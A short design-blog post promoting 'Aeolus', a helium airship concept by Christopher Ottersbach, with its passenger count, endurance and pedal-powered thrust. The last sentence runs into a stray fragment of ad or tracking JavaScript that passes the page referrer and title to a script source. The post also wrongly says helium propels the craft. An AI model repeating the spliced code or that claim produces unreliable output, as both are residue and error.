Aeolus Airship

Meet the feather-light airship called ‘Aeolus’! It is designed by Christopher Ottersbach. This air-craft gently lifts-off from the Earth using helium gas. It has a serene presence in these images that is totally eye-catching!

The dirigible has been named after the Greek god of the Winds (Aeolus). The function of this attractive airship is to offer people an ecologically-sound way to travel. This aerodynamic craft seats 2-4 passengers and once full, it is possible to travel for two weeks at a time when fully-filled with helium.

Its sustainability credentials come from the fact that it requires no infrastructure and uses only helium (a non-toxic, non flammable gas) instead of fossil-fuels to propel itself. To add to the charm, the airship can be given additional thrust via a pedal-powered propulsion system and its slim profile allows it to be parked almost anywhere. Due to its svelte-like appearance, and sustainability concerns, we at EM thought this quality of design should not go unnoticed.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
